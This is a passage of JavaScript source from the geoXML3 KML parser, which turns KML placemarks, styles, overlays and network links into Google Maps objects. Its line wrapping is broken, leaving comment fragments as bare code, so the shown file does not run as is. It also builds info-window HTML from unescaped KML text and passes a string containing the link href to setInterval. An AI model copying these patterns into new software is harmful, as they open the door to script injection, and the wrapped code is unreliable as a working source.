doc.baseDir);
}
// Parse StyleMap nodes
nodes = getElementsByTagName(responseXML, 'StyleMap');
for (i = 0; i < nodes.length; i++) {
thisNode = nodes[i];
var styleID = thisNode.getAttribute('id');
if (!!styleID) processStyleMap(thisNode, doc.baseUrl, styleID,
doc.baseDir);
}
if (!!parserOptions.processStyles || !parserOptions.createMarker) {
// Convert parsed styles into GMaps equivalents
processStyles(doc);
}
// Parse placemarks
if (!!doc.reload && !!doc.markers) {
for (i = 0; i < doc.markers.length; i++) {
doc.markers[i].active = false;
}
}
var placemark, node, coords, path, marker, poly;
var pathLength, marker, polygonNodes, coordList;
var placemarkNodes = getElementsByTagName(responseXML,
'Placemark');
for (pm = 0; pm < placemarkNodes.length; pm++) {
// Init the placemark object
node = placemarkNodes[pm];
var styleUrl = processStyleUrl(node);
placemark = {
name: nodeValue(getElementsByTagName(node,
'name')[0]),
description: nodeValue(getElementsByTagName(node,
'description')[0]),
styleUrl: styleUrl.join('#'),
styleBaseUrl: styleUrl[0] ? cleanURL(doc.baseDir, styleUrl[0]) :
doc.baseUrl,
styleID: styleUrl[1],
visibility: getBooleanValue(getElementsByTagName(node,
'visibility')[0], true),
balloonVisibility: getBooleanValue(getElementsByTagNameNS(node,
gxNS, 'balloonVisibility')[0],
!parserOptions.suppressInfoWindows),
id: node.getAttribute('id')
};
placemark.style = (styles[placemark.styleBaseUrl] &&
styles[placemark.styleBaseUrl][placemark.styleID]) || clone(defaultStyle);
// inline style overrides shared style
var inlineStyles = getElementsByTagName(node, 'Style');
if (inlineStyles && (inlineStyles.length > 0)) {
var style = processStyle(node, '{inline}',
'{inline}');
processStyleID(style);
if (style) placemark.style = style;
}
if (/^https?:\/\//.test(placemark.description)) {
placemark.description = ['<a href="',
placemark.description, '">', placemark.description,
'</a>'].join('');
}
// record list of variables for substitution
placemark.vars = {
display: {
name: 'Name',
description: 'Description',
address: 'Street Address',
id: 'ID',
Snippet: 'Snippet',
geDirections: 'Directions'
},
val: {
name: placemark.name || '',
description: placemark.description || '',
address: nodeValue(getElementsByTagName(node,
'address')[0], ''),
id: node.getAttribute('id') || '',
Snippet: nodeValue(getElementsByTagName(node,
'Snippet')[0], '')
},
directions: [
'f=d',
'source=GeoXML3'
]
};
// add extended data to variables
var extDataNodes = getElementsByTagName(node,
'ExtendedData');
if (!!extDataNodes && extDataNodes.length > 0) {
var dataNodes = getElementsByTagName(extDataNodes[0],
'Data');
for (var d = 0; d < dataNodes.length; d++) {
var dn = dataNodes[d];
var name = dn.getAttribute('name');
if (!name) continue;
var dName = nodeValue(getElementsByTagName(dn,
'displayName')[0], name);
var val = nodeValue(getElementsByTagName(dn,
'value')[0]);
placemark.vars.val[name] = val;
placemark.vars.display[name] = dName;
}
}
// process MultiGeometry
var GeometryNodes = getElementsByTagName(node,
'coordinates');
var Geometry = null;
if (!!GeometryNodes && (GeometryNodes.length > 0)) {
for (var gn=0;gn<GeometryNodes.length;gn++) {
if (GeometryNodes[gn].parentNode &&
GeometryNodes[gn].parentNode.nodeName) {
var GeometryPN = GeometryNodes[gn].parentNode;
Geometry = GeometryPN.nodeName;
// Extract the coordinates
// What sort of placemark?
switch(Geometry) {
case "Point":
placemark.Point = processPlacemarkCoords(node,
"Point")[0];
placemark.latlng = new
google.maps.LatLng(placemark.Point.coordinates[0].lat,
placemark.Point.coordinates[0].lng);
pathLength = 1;
break;
case "LinearRing":
// Polygon/line
polygonNodes = getElementsByTagName(node,
'Polygon');
// Polygon
if (!placemark.Polygon)
placemark.Polygon = [{
outerBoundaryIs: {coordinates: []},
innerBoundaryIs: [{coordinates: []}]
}];
for (var pg=0;pg<polygonNodes.length;pg++) {
placemark.Polygon[pg] = {
outerBoundaryIs: {coordinates: []},
innerBoundaryIs: [{coordinates: []}]
}
placemark.Polygon[pg].outerBoundaryIs =
processPlacemarkCoords(polygonNodes[pg], "outerBoundaryIs");
placemark.Polygon[pg].innerBoundaryIs =
processPlacemarkCoords(polygonNodes[pg], "innerBoundaryIs");
}
coordList = placemark.Polygon[0].outerBoundaryIs;
break;
case "LineString":
pathLength = 0;
placemark.LineString =
processPlacemarkCoords(node,"LineString");
break;
default:
break;
}
}
}
}
// parse MultiTrack/Track
var TrackNodes =
getElementsByTagNameNS(node,gxNS,"Track");
var coordListA = [];
if (TrackNodes.length > 0) {
for (var i=0; i<TrackNodes.length; i++) {
var coordNodes =
getElementsByTagNameNS(TrackNodes[i],gxNS,"coord");
var coordList = [];
for (var j=0; j<coordNodes.length;j++) {
var coords = geoXML3.nodeValue(coordNodes[j]).trim();
coords = coords.split(/\s+/g);
if (!isNaN(coords[0]) && !isNaN(coords[1])) {
coordList.push({
lat: parseFloat(coords[1]),
lng: parseFloat(coords[0]),
alt: parseFloat(coords[2])
});
}
}
coordListA.push({coordinates:coordList});
}
placemark.Track = coordListA;
}
// call the custom placemark parse function if it is defined
if (!!parserOptions.pmParseFn) parserOptions.pmParseFn(node,
placemark);
doc.placemarks.push(placemark);
// single marker
if (placemark.Point) {
if (!!google.maps) {
doc.bounds = doc.bounds || new google.maps.LatLngBounds();
doc.bounds.extend(placemark.latlng);
}
// Potential user-defined marker handler
var pointCreateFunc = parserOptions.createMarker || createMarker;
var found = false;
if (!parserOptions.createMarker) {
// Check to see if this marker was created on a previous load
of this document
if (!!doc) {
doc.markers = doc.markers || [];
if (doc.reload) {
for (var j = 0; j < doc.markers.length; j++) {
if ((doc.markers[j].id == placemark.id) ||
// if no id, check position
(!doc.markers[j].id &&
(doc.markers[j].getPosition().equals(placemark.latlng)))) {
found = doc.markers[j].active = true;
break;
}
}
}
}
}
if (!found) {
// Call the marker creator
var marker = pointCreateFunc(placemark, doc);
if (marker) {
marker.active = placemark.visibility;
marker.id = placemark.id;
}
}
}
// polygon/line
var poly, line;
if (!!doc) {
if (placemark.Polygon) doc.gpolygons = doc.gpolygons || [];
if (placemark.LineString) doc.gpolylines = doc.gpolylines || [];
if (placemark.Track) doc.gpolylines = doc.gpolylines || [];
}
var polyCreateFunc = parserOptions.createPolygon ||
createPolygon;
var lineCreateFunc = parserOptions.createLineString ||
createPolyline;
if (placemark.Polygon) {
poly = polyCreateFunc(placemark,doc);
if (poly) poly.active = placemark.visibility;
}
if (placemark.LineString) {
line = lineCreateFunc(placemark,doc);
if (line) line.active = placemark.visibility;
}
if (placemark.Track) { // gx:Track polyline
line = lineCreateFunc(placemark,doc);
if (line) line.active = placemark.visibility;
}
if (!!google.maps) {
doc.bounds = doc.bounds || new google.maps.LatLngBounds();
if (poly) doc.bounds.union(poly.bounds);
if (line) doc.bounds.union(line.bounds);
}
} // placemark loop
if (!!doc.reload && !!doc.markers) {
for (i = doc.markers.length - 1; i >= 0 ; i--) {
if (!doc.markers[i].active) {
if (!!doc.markers[i].infoWindow) {
doc.markers[i].infoWindow.close();
}
doc.markers[i].setMap(null);
doc.markers.splice(i, 1);
}
}
}
var overlayCreateFunc = parserOptions.createOverlay || createOverlay;
// Parse ground overlays
if (!!doc.reload && !!doc.groundoverlays) {
for (i = 0; i < doc.groundoverlays.length; i++) {
doc.groundoverlays[i].active = false;
}
}
if (!!doc) {
doc.groundoverlays = doc.groundoverlays || [];
}
// doc.groundoverlays =[];
var groundOverlay, color, transparency, overlay;
var groundNodes = getElementsByTagName(responseXML,
'GroundOverlay');
for (i = 0; i < groundNodes.length; i++) {
node = groundNodes[i];
// Detect images buried in KMZ files (and use a base64 encoded URL)
var gnUrl = cleanURL( doc.baseDir,
nodeValue(getElementsByTagName(node, 'href')[0]) );
if (kmzMetaData[gnUrl]) gnUrl = kmzMetaData[gnUrl].dataUrl;
// Init the ground overlay object
groundOverlay = {
name: nodeValue(getElementsByTagName(node,
'name')[0]),
description: nodeValue(getElementsByTagName(node,
'description')[0]),
icon: { href: gnUrl },
latLonBox: {
north: parseFloat(nodeValue(getElementsByTagName(node,
'north')[0])),
east: parseFloat(nodeValue(getElementsByTagName(node,
'east')[0])),
south: parseFloat(nodeValue(getElementsByTagName(node,
'south')[0])),
west: parseFloat(nodeValue(getElementsByTagName(node,
'west')[0]))
},
rotation: -1 * parseFloat(nodeValue(getElementsByTagName(node,
'rotation')[0]))
};
if (!!google.maps) {
doc.bounds = doc.bounds || new google.maps.LatLngBounds();
doc.bounds.union(new google.maps.LatLngBounds(
new google.maps.LatLng(groundOverlay.latLonBox.south,
groundOverlay.latLonBox.west),
new google.maps.LatLng(groundOverlay.latLonBox.north,
groundOverlay.latLonBox.east)
));
}
// Opacity is encoded in the color node
var colorNode = getElementsByTagName(node, 'color');
if (colorNode && colorNode.length > 0) {
groundOverlay.opacity =
geoXML3.getOpacity(nodeValue(colorNode[0]));
} else {
groundOverlay.opacity = 1.0; // KML default
}
doc.groundoverlays.push(groundOverlay);
// Check to see if this overlay was created on a previous load of
this document
var found = false;
if (!!doc) {
doc.groundoverlays = doc.groundoverlays || [];
if (doc.reload) {
overlayBounds = new google.maps.LatLngBounds(
new google.maps.LatLng(groundOverlay.latLonBox.south,
groundOverlay.latLonBox.west),
new google.maps.LatLng(groundOverlay.latLonBox.north,
groundOverlay.latLonBox.east)
);
var overlays = doc.groundoverlays;
for (i = overlays.length; i--;) {
if ((overlays[i].bounds().equals(overlayBounds)) &&
(overlays.url_ === groundOverlay.icon.href)) {
found = overlays[i].active = true;
break;
}
}
}
if (!found) {
overlay = overlayCreateFunc(groundOverlay, doc);
overlay.active = true;
}
}
if (!!doc.reload && !!doc.groundoverlays &&
!!doc.groundoverlays.length) {
var overlays = doc.groundoverlays;
for (i = overlays.length; i--;) {
if (!overlays[i].active) {
overlays[i].remove();
overlays.splice(i, 1);
}
}
doc.groundoverlays = overlays;
}
}
// Parse network links
var networkLink;
var docPath = document.location.pathname.split('/');
docPath = docPath.splice(0, docPath.length - 1).join('/');
var linkNodes = getElementsByTagName(responseXML,
'NetworkLink');
for (i = 0; i < linkNodes.length; i++) {
node = linkNodes[i];
// Init the network link object
networkLink = {
name: nodeValue(getElementsByTagName(node, 'name')[0]),
link: {
href: nodeValue(getElementsByTagName(node,
'href')[0]),
refreshMode: nodeValue(getElementsByTagName(node,
'refreshMode')[0])
}
};
// Establish the specific refresh mode
if (!networkLink.link.refreshMode) {
networkLink.link.refreshMode = 'onChange';
}
if (networkLink.link.refreshMode === 'onInterval') {
networkLink.link.refreshInterval =
parseFloat(nodeValue(getElementsByTagName(node,
'refreshInterval')[0]));
if (isNaN(networkLink.link.refreshInterval)) {
networkLink.link.refreshInterval = 0;
}
} else if (networkLink.link.refreshMode === 'onChange') {
networkLink.link.viewRefreshMode =
nodeValue(getElementsByTagName(node, 'viewRefreshMode')[0]);
if (!networkLink.link.viewRefreshMode) {
networkLink.link.viewRefreshMode = 'never';
}
if (networkLink.link.viewRefreshMode === 'onStop') {
networkLink.link.viewRefreshTime =
nodeValue(getElementsByTagName(node, 'refreshMode')[0]);
networkLink.link.viewFormat =
nodeValue(getElementsByTagName(node, 'refreshMode')[0]);
if (!networkLink.link.viewFormat) {
networkLink.link.viewFormat =
'BBOX=[bboxWest],[bboxSouth],[bboxEast],[bboxNorth]';
}
}
}
if (!/^[\/|http]/.test(networkLink.link.href)) {
// Fully-qualify the HREF
networkLink.link.href = docPath + '/' +
networkLink.link.href;
}
// Apply the link
if ((networkLink.link.refreshMode === 'onInterval')
&&
(networkLink.link.refreshInterval > 0)) {
// Reload at regular intervals
setInterval(parserName + '.parse("' +
networkLink.link.href + '")',
1000 * networkLink.link.refreshInterval);
} else if (networkLink.link.refreshMode === 'onChange') {
if (networkLink.link.viewRefreshMode === 'never') {
// Load the link just once
doc.internals.parser.parse(networkLink.link.href,
doc.internals.docSet);
} else if (networkLink.link.viewRefreshMode ===
'onStop') {
// Reload when the map view changes
}
}
}
}
if (!!doc.bounds) {
doc.internals.bounds = doc.internals.bounds || new
google.maps.LatLngBounds();
doc.internals.bounds.union(doc.bounds);
}
if (!!doc.markers || !!doc.groundoverlays || !!doc.gpolylines ||
!!doc.gpolygons) {
doc.internals.parseOnly = false;
}
if (!doc.internals.parseOnly) {
// geoXML3 is not being used only as a real-time parser, so keep the
processed documents around
if (doc.baseUrl){ // handle case from parseKmlString (no doc.baseUrl)
if (!docsByUrl[doc.baseUrl]) {
docs.push(doc);
docsByUrl[doc.baseUrl] = doc;
} else {
// internal replacement, which keeps the same memory ref loc in
docs and docsByUrl
for (var i in docsByUrl[doc.baseUrl]) {
docsByUrl[doc.baseUrl][i] = doc[i];
}
}
}
}
doc.internals.remaining--;
if (doc.internals.remaining === 0) {
// We're done processing this set of KML documents
// Options that get invoked after parsing completes
if (parserOptions.zoom && !!doc.internals.bounds &&
!doc.internals.bounds.isEmpty() && !!parserOptions.map) {
parserOptions.map.fitBounds(doc.internals.bounds);
}
if (parserOptions.afterParse) {
parserOptions.afterParse(doc.internals.docSet);
}
google.maps.event.trigger(doc.internals.parser, 'parsed');
}
};
var kmlColor = function (kmlIn, colorMode) {
var kmlColor = {};
kmlIn = kmlIn || 'ffffffff'; // white (KML 2.2 default)
var aa = kmlIn.substr(0,2);
var bb = kmlIn.substr(2,2);
var gg = kmlIn.substr(4,2);
var rr = kmlIn.substr(6,2);
kmlColor.opacity = parseInt(aa, 16) / 256;
kmlColor.color = (colorMode === 'random') ? randomColor(rr,
gg, bb) : '#' + rr + gg + bb;
return kmlColor;
};
// Implemented per KML 2.2 <ColorStyle> specs
var randomColor = function(rr, gg, bb) {
var col = { rr: rr, gg: gg, bb: bb };
for (var k in col) {
var v = col[k];
if (v == null) v = 'ff';
// RGB values are limiters for random numbers (ie: 7f would be a
random value between 0 and 7f)
v = Math.round(Math.random() * parseInt(rr, 16)).toString(16);
if (v.length === 1) v = '0' + v;
col[k] = v;
}
return '#' + col.rr + col.gg + col.bb;
};
var processStyleID = function (style) {
var icon = style.icon;
if (!icon || !icon.href) return;
if (icon.img && !icon.img.complete && (icon.dim.w <
0) && (icon.dim.h < 0) ) {
// we're still waiting on the image loading (probably because
we've been blocking since the declaration)
// so, let's queue this function on the onload stack
icon.markerBacklog = [];
icon.img.onload = function() {
if (icon.dim.w < 0 || icon.dim.h < 0) {
icon.dim.w = this.width;
icon.dim.h = this.height;
} else {
icon.dim.th = this.height;
}
processStyleID(style);
// we will undoubtedly get some createMarker queuing, so set this
up in advance
for (var i = 0; i < icon.markerBacklog.length; i++) {
var p = icon.markerBacklog[i][0];
var d = icon.markerBacklog[i][1];
createMarker(p, d);
if (p.marker) p.marker.active = true;
}
delete icon.markerBacklog;
};
return;
}
else { //if (icon.dim.w < 0 || icon.dim.h < 0) {
if (icon.img && icon.img.complete) {
// sometimes the file is already cached and it never calls onLoad
if (icon.dim.w < 0 || icon.dim.h < 0) {
icon.dim.w = icon.img.width;
icon.dim.h = icon.img.height;
} else {
icon.dim.th = icon.img.height;
}
}
else {
// settle for a default of 32x32
icon.dim.whGuess = true;
icon.dim.w = 32;
icon.dim.h = 32;
icon.dim.th = 32;
}
}
// pre-scaled variables
var rnd = Math.round;
var y = icon.dim.y;
if (typeof icon.dim.th !== 'undefined' && icon.dim.th
!= icon.dim.h) { // palette - reverse kml y for maps
y = Math.abs(y - (icon.dim.th - icon.dim.h));
}
var scaled = {
x: icon.dim.x * icon.scale,
y: y * icon.scale,
w: icon.dim.w * icon.scale,
h: icon.dim.h * icon.scale,
aX:icon.hotSpot.x * icon.scale,
aY:icon.hotSpot.y * icon.scale,
iW:(icon.img ? icon.img.width : icon.dim.w) * icon.scale,
iH:(icon.img ? icon.img.height : icon.dim.h) * icon.scale
};
// Figure out the anchor spot
// Origins, anchor positions and coordinates of the marker increase in
the X direction to the right and in
// the Y direction down.
var aX, aY;
switch (icon.hotSpot.xunits) {
case 'fraction': aX = rnd(scaled.aX * icon.dim.w);
break;
case 'insetPixels': aX = rnd(icon.dim.w * icon.scale -
scaled.aX); break;
default: aX = rnd(scaled.aX); break; // already pixels
}
switch(icon.hotSpot.yunits) {
case 'fraction': aY = scaled.h - rnd(icon.dim.h *
scaled.aY); break;
case 'insetPixels': aY = rnd(scaled.aY); break;
default: aY = rnd(icon.dim.h * icon.scale - scaled.aY);
break;
}
var iconAnchor = new google.maps.Point(aX, aY);
// Sizes
// (NOTE: Scale is applied to entire image, not just the section of the
icon palette.)
var iconSize = icon.dim.whGuess ? null : new
google.maps.Size(rnd(scaled.w), rnd(scaled.h));
var iconScale = icon.scale == 1.0 ? null :
icon.dim.whGuess ? new
google.maps.Size(rnd(scaled.w), rnd(scaled.h))
: new
google.maps.Size(rnd(scaled.iW), rnd(scaled.iH));
var iconOrigin = new google.maps.Point(rnd(scaled.x), rnd(scaled.y));
// Detect images buried in KMZ files (and use a base64 encoded URL)
if (kmzMetaData[icon.url]) icon.url = kmzMetaData[icon.url].dataUrl;
// Init the style object with the KML icon
icon.marker = {
url: icon.url, // url
size: iconSize, // size
origin: iconOrigin, // origin
anchor: iconAnchor, // anchor
scaledSize: iconScale // scaledSize
};
// Look for a predictable shadow
var stdRegEx =
/\/(red|blue|green|yellow|lightblue|purple|pink|orange)(-dot)?\.png/;
var shadowSize = new google.maps.Size(59, 32);
var shadowPoint = new google.maps.Point(16, 32);
if (stdRegEx.test(icon.href)) {
// A standard GMap-style marker icon
icon.shadow = {
url:
'http://maps.google.com/mapfiles/ms/micons/msmarker.shadow.png',
// url
size: shadowSize, // size
origin: null, // origin
anchor: shadowPoint, // anchor
scaledSize: shadowSize // scaledSize
};
} else if (icon.href.indexOf('-pushpin.png') > -1) {
// Pushpin marker icon
icon.shadow = {
url:
'http://maps.google.com/mapfiles/ms/micons/pushpin_shadow.png',
// url
size: shadowSize, // size
origin: null, // origin
anchor: shadowPoint, // anchor
scaledSize: shadowSize // scaledSize
};
} /* else {
// Other MyMaps KML standard icon
icon.shadow = new google.maps.MarkerImage(
icon.href.replace('.png', '.shadow.png'),
// url
shadowSize, //
size
null, //
origin
anchorPoint, //
anchor
shadowSize //
scaledSize
);
} */
}
var processStyles = function (doc) {
for (var styleID in doc.styles) {
processStyleID(doc.styles[styleID]);
}
};
var createMarker = function (placemark, doc) {
// create a Marker to the map from a placemark KML object
var icon = placemark.style.icon;
if ( !icon.marker && icon.img ) {
// yay, single point of failure is holding up multiple markers...
icon.markerBacklog = icon.markerBacklog || [];
icon.markerBacklog.push([placemark, doc]);
return;
}
// Load basic marker properties
var markerOptions = geoXML3.combineOptions(parserOptions.markerOptions,
{
map: parserOptions.map,
position: new google.maps.LatLng(placemark.Point.coordinates[0].lat,
placemark.Point.coordinates[0].lng),
title: placemark.name,
zIndex: Math.round(placemark.Point.coordinates[0].lat *
-100000)<<5,
icon: icon.marker,
shadow: icon.shadow,
flat: !icon.shadow,
visible: placemark.visibility
});
// Create the marker on the map
var marker = new google.maps.Marker(markerOptions);
if (!!doc) doc.markers.push(marker);
// Set up and create the infowindow if it is not suppressed
createInfoWindow(placemark, doc, marker);
placemark.marker = marker;
return marker;
};
var createOverlay = function (groundOverlay, doc) {
// Add a ProjectedOverlay to the map from a groundOverlay KML object
if (!window.ProjectedOverlay) {
throw 'geoXML3 error: ProjectedOverlay not found while rendering
GroundOverlay from KML';
}
var bounds = new google.maps.LatLngBounds(
new google.maps.LatLng(groundOverlay.latLonBox.south,
groundOverlay.latLonBox.west),
new google.maps.LatLng(groundOverlay.latLonBox.north,
groundOverlay.latLonBox.east)
);
var overlayOptions =
geoXML3.combineOptions(parserOptions.overlayOptions, {
percentOpacity: groundOverlay.opacity*100,
rotation: groundOverlay.rotation
});
var overlay = new ProjectedOverlay(parserOptions.map,
groundOverlay.icon.href, bounds, overlayOptions);
if (!!doc) {
doc.ggroundoverlays = doc.ggroundoverlays || [];
doc.ggroundoverlays.push(overlay);
}
return overlay;
};
// Create Polyline
var createPolyline = function(placemark, doc) {
var paths = [];
var bounds = new google.maps.LatLngBounds();
if (placemark.LineString) {
for (var j=0; j<placemark.LineString.length; j++) {
var path = [];
var coords = placemark.LineString[j].coordinates;
for (var i=0;i<coords.length;i++) {
var pt = new google.maps.LatLng(coords[i].lat, coords[i].lng);
path.push(pt);
bounds.extend(pt);
}
paths.push(path);
}
} else if (placemark.Track) {
for (var j=0; j<placemark.Track.length; j++) {
var path = [];
var coords = placemark.Track[j].coordinates;
for (var i=0;i<coords.length;i++) {
var pt = new google.maps.LatLng(coords[i].lat, coords[i].lng);
path.push(pt);
bounds.extend(pt);
}
paths.push(path);
}
}
// point to open the infowindow if triggered
var point = paths[0][Math.floor(path.length/2)];
// Load basic polyline properties
var kmlStrokeColor = kmlColor(placemark.style.line.color,
placemark.style.line.colorMode);
var polyOptions = geoXML3.combineOptions(parserOptions.polylineOptions,
{
map: parserOptions.map,
path: path,
strokeColor: kmlStrokeColor.color,
strokeWeight: placemark.style.line.width,
strokeOpacity: kmlStrokeColor.opacity,
title: placemark.name,
visible: placemark.visibility
});
if (paths.length > 1) {
polyOptions.paths = paths;
var p = new MultiGeometry(polyOptions);
} else {
polyOptions.path = paths[0];
var p = new google.maps.Polyline(polyOptions);
}
p.bounds = bounds;
// setup and create the infoWindow if it is not suppressed
createInfoWindow(placemark, doc, p);
if (!!doc) doc.gpolylines.push(p);
placemark.polyline = p;
return p;
}
// Create Polygon
var createPolygon = function(placemark, doc) {
var bounds = new google.maps.LatLngBounds();
var pathsLength = 0;
var paths = [];
for (var
polygonPart=0;polygonPart<placemark.Polygon.length;polygonPart++) {
for (var j=0;
j<placemark.Polygon[polygonPart].outerBoundaryIs.length; j++) {
var coords =
placemark.Polygon[polygonPart].outerBoundaryIs[j].coordinates;
var path = [];
for (var i=0;i<coords.length;i++) {
var pt = new google.maps.LatLng(coords[i].lat, coords[i].lng);
path.push(pt);
bounds.extend(pt);
}
paths.push(path);
pathsLength += path.length;
}
for (var j=0;
j<placemark.Polygon[polygonPart].innerBoundaryIs.length; j++) {
var coords =
placemark.Polygon[polygonPart].innerBoundaryIs[j].coordinates;
var path = [];
for (var i=0;i<coords.length;i++) {
var pt = new google.maps.LatLng(coords[i].lat, coords[i].lng);
path.push(pt);
bounds.extend(pt);
}
paths.push(path);
pathsLength += path.length;
}
}
// Load basic polygon properties
var kmlStrokeColor = kmlColor(placemark.style.line.color,
placemark.style.line.colorMode);
var kmlFillColor = kmlColor(placemark.style.poly.color,
placemark.style.poly.colorMode);
if (!placemark.style.poly.fill) kmlFillColor.opacity = 0.0;
var strokeWeight = placemark.style.line.width;
if (!placemark.style.poly.outline) {
strokeWeight = 0;
kmlStrokeColor.opacity = 0.0;
}
var polyOptions = geoXML3.combineOptions(parserOptions.polygonOptions,
{
map: parserOptions.map,
paths: paths,
title: placemark.name,
strokeColor: kmlStrokeColor.color,
strokeWeight: strokeWeight,
strokeOpacity: kmlStrokeColor.opacity,
fillColor: kmlFillColor.color,
fillOpacity: kmlFillColor.opacity,
visible: placemark.visibility
});
var p = new google.maps.Polygon(polyOptions);
p.bounds = bounds;
createInfoWindow(placemark, doc, p);
if (!!doc) doc.gpolygons.push(p);
placemark.polygon = p;
return p;
}
var createInfoWindow = function(placemark, doc, gObj) {
var bStyle = placemark.style.balloon;
var vars = placemark.vars;
if (!placemark.balloonVisibility || bStyle.displayMode ===
'hide') return;
// define geDirections
if (placemark.latlng &&
(!parserOptions.suppressDirections ||
!parserOptions.suppressDirections)) {
vars.directions.push('sll=' +
placemark.latlng.toUrlValue());
var url = 'http://maps.google.com/maps?' +
vars.directions.join('&');
var address = encodeURIComponent( vars.val.address ||
placemark.latlng.toUrlValue() ).replace(/\%20/g, '+');
vars.val.geDirections = '<a href="' + url +
'&daddr=' + address + '" target=_blank>To
Here</a> - <a href="' + url + '&saddr=' +
address + '" target=_blank>From Here</a>';
}
else vars.val.geDirections = '';
// add in the variables
var iwText = bStyle.text.replace(/\$\[(\w+(\/displayName)?)\]/g,
function(txt, n, dn) { return dn ? vars.display[n] : vars.val[n]; });
var classTxt = 'geoxml3_infowindow geoxml3_style_' +
placemark.styleID;
// color styles
var styleArr = [];
if (bStyle.bgColor != 'ffffffff')
styleArr.push('background: ' + kmlColor(bStyle.bgColor ).color +
';');
if (bStyle.textColor != 'ff000000')
styleArr.push('color: ' + kmlColor(bStyle.textColor).color +
';');
var styleProp = styleArr.length ? ' style="' +
styleArr.join(' ') + '"' : '';
var infoWindowOptions =
geoXML3.combineOptions(parserOptions.infoWindowOptions, {
content: '<div class="' + classTxt +
'"' + styleProp + '>' + iwText +
'</div>',
pixelOffset: new google.maps.Size(0, 2)
});
gObj.infoWindow = parserOptions.infoWindow || new
google.maps.InfoWindow(infoWindowOptions);
gObj.infoWindowOptions = infoWindowOptions;
// Info Window-opening event handler
google.maps.event.addListener(gObj, 'click', function(e) {
var iW = this.infoWindow;
iW.close();
iW.setOptions(this.infoWindowOptions);
if (e && e.latLng) iW.setPosition(e.latLng);
else if (this.bounds) iW.setPosition(this.bounds.getCenter());
iW.setContent("<div
id='geoxml3_infowindow'>"+iW.getContent()+"</div>");
google.maps.event.addListenerOnce(iW, "domready",
function() {
var node = document.getElementById('geoxml3_infowindow');
var imgArray = node.getElementsByTagName('img');
for (var i = 0; i < imgArray.length; i++)
{
var imgUrlIE = imgArray[i].getAttribute("src");
var imgUrl = cleanURL(doc.baseDir, imgUrlIE);
if (kmzMetaData[imgUrl]) {
imgArray[i].src = kmzMetaData[imgUrl].dataUrl;
} else if (kmzMetaData[imgUrlIE]) {
imgArray[i].src = kmzMetaData[imgUrlIE].dataUrl;
}
}
});
iW.open(this.map, this.bounds ? null : this);
});
}
return {
// Expose some properties and methods
options: parserOptions,
docs: docs,
docsByUrl: docsByUrl,
kmzMetaData: kmzMetaData,
parse: parse,
render: render,
parseKmlString: parseKmlString,
hideDocument: hideDocument,
showDocument: showDocument,
processStyles: processStyles,
createMarker: createMarker,
createOverlay: createOverlay,
createPolyline: createPolyline,
createPolygon: createPolygon
};
};
// End of KML Parser
// Helper objects and functions
geoXML3.getOpacity = function (kmlColor) {
// Extract opacity encoded in a KML color value. Returns a number between
0 and 1.
if (!!kmlColor &&
(kmlColor !== '') &&
(kmlColor.length == 8)) {
var transparency = parseInt(kmlColor.substr(0, 2), 16);
return transparency / 255;
} else {
return 1;
}
};
// Log a message to the debugging console, if one exists
geoXML3.log = function(msg) {
if (!!window.console) {
console.log(msg);
} else { alert("log:"+msg); }
};
/**
* Creates a new parserOptions object.
* @class GeoXML3 parser options.
* @param {Object} overrides Any options you want to declare outside of the
defaults should be included here.
* @property {google.maps.Map} map The API map on which geo objects should
be rendered.
* @property {google.maps.MarkerOptions} markerOptions If the parser is
adding Markers to the map itself, any options specified here will be
applied to them.
* @property {google.maps.InfoWindowOptions} infoWindowOptions If the
parser is adding Markers to the map itself, any options specified here will
be applied to their attached InfoWindows.
* @property {ProjectedOverlay.options} overlayOptions If the parser is
adding ProjectedOverlays to the map itself, any options specified here will
be applied to them.
*/
geoXML3.parserOptions = function (overrides) {
this.map = null,
/** If true, the parser will automatically move the map to a best-fit of
the geodata after parsing of a KML document completes.
* @type Boolean
* @default true
*/
this.zoom = true,
/**#@+ @type Boolean
* @default false */
/** If true, only a single Marker created by the parser will be able to
have its InfoWindow open at once (simulating the behavior of GMaps API v2).
*/
this.singleInfoWindow = false,
/** If true, suppresses the rendering of info windows. */
this.suppressInfoWindows = false,
/**
* Control whether to process styles now or later.
*
* <p>By default, the parser only processes KML
<Style> elements into their GMaps equivalents
* if it will be creating its own Markers (the createMarker option is
null). Setting this option
* to true will force such processing to happen anyway, useful if
you're going to be calling parser.createMarker
* yourself later. OTOH, leaving this option false removes runtime
dependency on the GMaps API, enabling
* the use of geoXML3 as a standalone KML parser.</p>
*/
this.processStyles = false,
/**#@-*/
this.markerOptions = {},
this.infoWindowOptions = {},
this.overlayOptions = {},
/**#@+ @event */
/** This function will be called when parsing of a KML document is
complete.
* @param {geoXML3.parser#docs} doc Parsed KML data. */
this.afterParse = null,
/** This function will be called when parsing of a KML document is
complete.
* @param {geoXML3.parser#docs} doc Parsed KML data. */
this.failedParse = null,
/**
* If supplied, this function will be called once for each marker
<Placemark> in the KML document, instead of the parser adding its own
Marker to the map.
* @param {geoXML3.parser.render#placemark} placemark Placemark object.
* @param {geoXML3.parser#docs} doc Parsed KML data.
*/
this.createMarker = null,
/**
* If supplied, this function will be called once for each
<GroundOverlay> in the KML document, instead of the parser adding its
own ProjectedOverlay to the map.
* @param {geoXML3.parser.render#groundOverlay} groundOverlay
GroundOverlay object.
* @param {geoXML3.parser#docs} doc Parsed KML data.
*/
this.createOverlay = null
/**#@-*/
if (overrides) {
for (var prop in overrides) {
if (overrides.hasOwnProperty(prop)) this[prop] = overrides[prop];
}
}
return this;
};
/**
* Combine two options objects: a set of default values and a set of
override values.
*
* @deprecated This has been replaced with {@link
geoXML3.parserOptions#combineOptions}.
* @param {geoXML3.parserOptions|Object} overrides Override values.
* @param {geoXML3.parserOptions|Object} defaults Default values.
* @return {geoXML3.parserOptions} Combined result.
*/
geoXML3.combineOptions = function (overrides, defaults) {
var result = {};
if (!!overrides) {
for (var prop in overrides) {
if (overrides.hasOwnProperty(prop))
result[prop] = overrides[prop];
}
}
if (!!defaults) {
for (prop in defaults) {
if (defaults.hasOwnProperty(prop) && result[prop] ===
undefined) result[prop] = defaults[prop];
}
}
return result;
};
/**
* Combine two options objects: a set of default values and a set of
override values.
*
* @function
* @param {geoXML3.parserOptions|Object} overrides Override values.
* @param {geoXML3.parserOptions|Object} defaults Default values.
* @return {geoXML3.parserOptions} Combined result.
*/
geoXML3.parserOptions.prototype.combineOptions = geoXML3.combineOptions;
// Retrieve an XML document from url and pass it to callback as a DOM
document
geoXML3.fetchers = [];
/**
* Parses a XML string.
*
* <p>Parses the given XML string and returns the parsed document in
a
* DOM data structure. This function will return an empty DOM node if
* XML parsing is not supported in this browser.</p>
